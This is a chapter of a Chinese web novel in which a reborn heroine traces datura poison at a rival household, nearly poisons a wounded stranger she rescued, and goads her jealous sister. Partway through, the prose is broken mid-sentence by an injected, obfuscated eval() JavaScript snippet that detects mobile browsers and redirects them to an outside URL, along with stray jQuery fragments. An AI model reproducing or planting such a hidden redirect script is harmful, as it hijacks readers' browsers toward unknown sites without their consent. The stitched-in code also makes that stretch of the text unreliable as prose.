步鞋踏上石阶,两边花草被风轻拂,扬出一股沁人心脾的味道。狸猫从树上跃下,在裙边打转。
朝廷明令禁止私贩曼陀罗,那大娘的曼陀罗花毒是从哪里来的,家中并未种植花草,那定是有什么渠道得到的。
沈裘蹲下,指尖放在下巴下,细细端详面前的一片花地。
花宴上有很多红色的彼岸花,都不如后院的这几株开的艳。既是花宴,该把最好的花放出去才是,怎么偏偏把这一片留在此处了。
她的手慢慢靠近花瓣,清风拂起一阵花香,就在之间即将触及之时,她的手蜷了起来。
彼岸花还有一个名字,叫做曼珠沙华,是开在地狱的花。
这不禁让人联想起西域的曼陀罗。
如此相像,会是巧合吗?
她的睫毛微颤,纤细的指尖抚摸过湿润的土壤,放到鼻尖,一股淡淡的养料味。
一切都很正常。
沈裘环视这一圈花圃,除了几珠红的还有一些零碎的小花颜色不同,乍一看像是寻常野花,她慢慢伸手。
突然一阵谈话声从前院传过来,愈来愈近,愈来愈清晰。
“不是和你们说了吗,后院门口要留两个人看守,怎么办的事?”
“公子说前院人手不够,所以…”
“老爷不是早就说过了吗,无论如何这里都要有人!你们两个蠢材,不知道孰轻孰重吗?”
“是是是!”
后院的门推开,一双年迈的眼神里面扫了一眼,看到没什么变动,才松了口气:“没人进来过吧?”
两个小厮相视一眼,眼神游移,支支吾吾道:“我们...”
曹总管怒火中烧,抬腿踹过去,推门快步往里走,走到一个木屋旁,看见锁扣没问题才松了口气,他转身道:“你们二人今日给我守在这里,一刻也不能放松!听到没有?”
他余光扫向那一片花圃,原先那一片黄色的新家伙似乎少了,他走过去,慢慢蹲下,撩开两边长高的花束看了看,一朵更小的花隐藏在两朵之间,夹缝中生存下来。他松了口气,朝后道:“今时不同往日,以前的小买卖马虎些也就罢了,现如今老爷要做的那笔买卖可是能赚不少,你们可得看好了,如果不见了,不止你们就连我也要遭殃。”
偏殿
曹池端着糕点走进来,人却已经不在了。他将糕点放下,才看到桌上纸条。
泛黄的纸张写着纤细又漂亮的字:期待同公子下次琴箫合奏。
读到末尾,曹池的眸色沾染一丝温柔的笑意。
飞鸟翻越竹林,风吹竹叶阵阵飘落。略显寂静的竹林里,有细碎的声音在丛林中响起。
布鞋踏过青草地,两道身影在竹林中快步穿行。兔子穿过草丛,叶子发出沙沙声,桃叶耳朵微动,余光往声音的方向望过去,脚步停下来,朝旁边道:“姑娘,那边好像有人。”
沈裘停下步子,顺着桃叶手指的方向望过去,一个隐蔽的树丛边,露出一双沾满泥土和血迹的布鞋。
桃叶快步走过去,将其从树丛里拉出来,伸手探了探鼻息:“还没死。”
那是个面容清秀的男子,衣衫褴褛破绽之处露出带血的伤,深可见骨,看模样甚是可怜。
风撩动沈裘两边的发丝,凉意透过单薄的衣衫刮到身上,这股冷意不禁忆起上辈子,那时她好心救下了一个人,结果反被污蔑失了清白,千夫所指百口莫辩。
好人一定有好报吗?并不是。
何况从这人受伤的程度来说,来历肯定不简单,搞不好是个死囚里逃出来的犯人。
沈裘对上桃叶的目光,抬手轻抚她耳边的发丝,桃花班的眸子微闪,看着她温声道:“倘若我说,我不想救,你是否会觉得我薄情。”
她的声音很轻,很缓,却是说的一句极其凉薄的话。
桃叶微怔,反应过来后摇头:“姑娘做事一定有自己的理由。”
沈裘审视她的神情,突然勾起唇角,温声道:“同你开玩笑的,扶起来吧,我不会见死不救的。”
桃叶点点头,转身扶起地上的人。
沈裘望着那道背影,手指轻点薄纱下藏于袖中的那两株花,嘴角轻轻勾起。
说起来,上次拿去验的曼陀罗花粉,还剩下一半呢。这种毒,长久伴随身边事慢毒,直接入口可就是剧毒呢。
本就是该死之人,就不该让下面等太久啊...
月色下夜渐渐浓稠,后院的卧房升起一股药香,柴火在摇曳中熏烤炽热的药壶。半开的窗户下,沈裘手拖着下巴,靠在木窗边沿,仰头看着浅浅月色。白云遮盖半抹月时,余光也有一抹光暗下来了,她望向对面漆黑的房间,笑了笑抬手关上木窗。
沈裘慢步走到床边,欠身端详那张脸。原先这张脸脏兮兮的,现在洗了洗倒是好看不少。
可惜了。
她抬手欲从衣袖中拿出剩下的曼陀罗花粉。
突然间那人清醒过来,还未等她反应过来,就被翻身反扣在床上。
“公子…”沈裘被掐着脖子,说话有些艰难,眼眶红红的娇艳欲滴。
男子侧头,看到了地上的小药炉,桌边的瓶瓶罐罐,还有地上堆放杂乱的医书,慢慢将受伤的力气放了些,沈裘泛红的眼眶,饶是委屈:“公子,是我救了你。”
男子静静地看她,像是在审视话中真假。
沈裘咬着唇瓣,颤声道:“公子,我疼。”
男子略带疲态的眼神没再追究,松开手躺了回去:“对不起。”
沈裘手指抚上脖子,酥酥麻麻还带着痛意,这人虽然受伤,但力气却不小,看来不是什么简单角色,好在刚刚没有直接下手。
她走到炉子边,提起药壶往碗中倒水,摇曳的烛火勾勒着床上蜷缩住着的身影。
看此人的反应,像是也很意外自己会被救下来。这次情况与上辈子确实不同一些,看来并非是圈套。只不过这样的人留在身边,也实在是过于危险了,不能久留。
她背身,不着痕迹的将曼陀罗粉末放进杯中,指尖捏起茶杯轻轻摇晃,淡色的粉末很快就消失在这杯水中。她端起茶杯,转身莞尔一笑,刚欲张口说话,不知地上哪从哪来的一颗石子,她脚下一滑跌到了地上,药全倒在了地上。
她凝视着地面上那颗石子,明明方才没看到石子啊,后来想想,应该是去竹林的时候,脚上带来的。
她突然懊恼,方才自己剩下的所有曼陀罗花粉都放了进去,眼下手里已经没了。从曹家拿来的那两株眼下也不能用上,还得找人看过才能派上用场。
愣神之间,门口传来脚步声,下一秒门推开,桃叶披着外衣快步跑上来讲沈裘扶起:“姑娘,你没事吧。”
沈裘笑着摇头:“没事,只是刚才被绊了一下。”
差点忘了,桃叶住在对面,耳力又好,这点动静她肯定听到了。
桃叶回头望了一眼,道:“姑娘先回屋睡吧,今夜我来守在门外。此人看起来好些了,明天天不亮我就将他送出去。”
“也好。”外面的风吹动烛火,摇曳的光色在沈裘脸上晃着,那张漂亮的脸上视线尽是柔和,“记得送到医馆,让大夫好好治治。”
门关上,烛火被吹灭时,床上的那双眸子慢慢睁开。带着审视的目光,将周围细细看了一圈,而后又闭上了眼。
次日中午
曹府送了一把琴来,曹家的侍从不让别人碰,亲自送到了后院沈裘手上。
沈裘才放在手上把玩了一会儿,门口便又来了人。
沈亦安脸上红红的,气喘吁吁的指着她,头上两串流苏朱钗晃个不停,一看便是跑过来的。
沈裘抬起要落到琴弦上的手,放到下巴上,慢慢道:“我入府这么久,阿姐还是第一次来看我。”她眼神慢慢划过沈亦安脸上的细汗,扬眉关切道,“阿姐这是...怎么了?”
沈亦安指着那把琴,怒不可揭:“你手里的那把琴,是谁送的?”
沈裘起身绕到桌前,摸了摸那把琴,嘴角微勾像是想起了什么美好的回忆:“是曹府的曹公子送的。”
明明是意料中的答案,沈亦安脸上的怒气却是更甚:“曹哥哥为何会主动送你琴?!是不是你主动同他要的!”
沈裘长睫轻颤,无辜道:“我没有,那是曹公子主动送的,对了应该是...”她下巴微扬,看了看天花板,回忆道,“我们相约要琴萧同奏,也许是曹公子觉得我琴技太差,所以送了我一把琴,让我多练练。”她回正脑袋,带着笑意的脸满脸纯良,“好让我不要丢他的脸吧。”
闻言,沈亦安藏在袖子里的拳心慢慢攥紧,瞳孔中的血丝慢慢蔓延开来,映入眼帘的那个女子,恍如毒蝎一般倒映在眼前。
谁人不知道,可配得上与曹池同奏的人,只有她沈亦安。
怎么会有别人?
曹池怎么会答应与其他人一起同奏,他的要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583949|171641||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
求不是很高吗?
就因为沈裘弹了半截的琴,就被她骗了?明明小时候,沈裘只会跟在她屁股后面,连琴都不会摸。
沈亦安撩起袖子欲往前走,身后的侍女忙拦住她。
昨天沈亦安刁难沈裘的事很多人都看到了,曹家姐妹不合的事甚至从禹城传到了京城。沈戈端听到后大怒,将沈亦安禁足在家,不得出府。
被拦住的沈亦安显然也清醒了些,慢慢压下怒气,克制了下来。她望着沈裘,慢慢走过去,抚摸着那把琴,勾唇压抑道:“你昨日那曲子弹得不错,只是没有弹完,让人听得遗憾,不如今日满足姐姐的愿望,将她弹完如何。”
“妹妹自然是愿意的。”沈裘抬起受伤的手,指尖轻捻昨日包扎过的地方,“只是,曹公子昨日为我包扎的手指实在是太厚了。”她的目光移向沈亦安,看到她怒目圆睁,莞尔一笑慢慢道,“恐怕不方便弹琴。”
“亲自...”沈亦安喃喃了那么一句,抬头时没忍住猛地朝她打了一巴掌。
沈裘抬手捂着带着痛意的脸,往后退了两步,两只眼睛如同小鹿一般转着,仿佛受了惊吓。
沈亦安还欲再打,被旁边婢女抓住了胳膊往后拉,离开前还在大喊:“离他远一点!”
沈裘望着空荡荡的门口,刚刚被打过的脸上还停留着一股辣辣的刺痛。她重新坐回木椅,指尖轻点琴弦。眼中不禁回忆起,上辈子她回家后,日日与曹池在一处,阿姐那时候望向她的眼神,那时她看不懂那种情绪。现在才明白,是克制与痛苦。
可阿姐,既然这么喜欢,上辈子怎么忍心将他放在另一个人身边朝夕相处呢。
这又是何苦呢。
比起上辈子的克制和隐忍,这辈子又争又抢的阿姐,看得更让人顺眼多了。
她弯唇,忆起幼时阿姐替她摇秋千的画面。
一生本就多别离,朝夕几个晨暮春秋又如何,不过一个岔路,便能将两人走散。
秋千晃啊晃,她不知身后的人是何表情,是何心境。只知自己面朝天空那一片湛蓝,乘风而起时。
所愿只是阿姐永远陪着她。
她枕在琴弦上,长发垂落在眼前,从发丝间看那湛蓝的天空时,脸上淡淡的笑意渐渐散尽。
“姑娘。”桃叶走近她身边,看着她脸上的痕迹微微蹙眉。
沈裘伸手握住她的手,轻笑:“没事。”
桃叶的眼神落在那只握在一起的手上,微愣了一会儿,于下人对主人而言,这样的行径应当算是逾举,可这是主人对下人,她如果放下手才算逾举吧。她想起正事,回禀道:“姑娘,解药已经做成粉状替换到夫人香炉里了。”
沈裘闭上眼,点头嗯了一声。
与她而言,回沈家主要是为了这件事,解决了这桩心事,也算是大石落地了。
桃叶感受到沈裘的放松,许是难得见到她这样,所以提起了晚上的灯会。
沈裘对灯会的印象并不好,上辈子的个灯会,她跟在姑母和表姐身后,帮她们拎东西。只是走神了一下,一抬眼姑母她们便不见了,她有些着急,跑了起来,不小心被一个石头绊倒,买的东西散了一地,有个小孩趁乱要拿地上的东西,她忙想抢回来,不知谁说了一嘴,说乞丐抢东西了。那孩子的爹娘走过来,将她打了一顿,东西也被捡了一空。
狼狈的回到家后,姑母恼火她将东西弄丢,将留下的剩菜残羹摔在她脚边,将她赶出了家门。
那几夜都很冷,她没有跑远,就在外面看星星,好几夜蹲在门外看表姐与姑母吃饭,她很饿,但没有命令她不能进去。
就这样,她倒在了雪地里。是邻居大娘实在受不了,才将她救下,帮忙游说姑母,还让别人一同说姑母,说的人多了,姑母只好不甘愿的将她带回去。
所以,于她而言,并不喜欢灯会,甚至可以说是讨厌。
她望着桃叶,嘴张了张却没说出口。
桃叶的祖上受裴家恩惠,所以世世代代为裴家卖命,到桃叶这代是第三代,她爹娘离世的早,所以她很早就住进了裴家。与其说她自小便是裴家的下人,不如说她很早就承了裴家的恩惠。
桃叶年纪虽小,却有知恩图报的心,心中感激之余,幼年几乎整日都在练武场练武,只为日后为裴家卖命,从未出去玩过。
细细想来,她也没有真正逛过一次灯会,她们都没逛过,挺好。
沈裘点头,应声:“好。”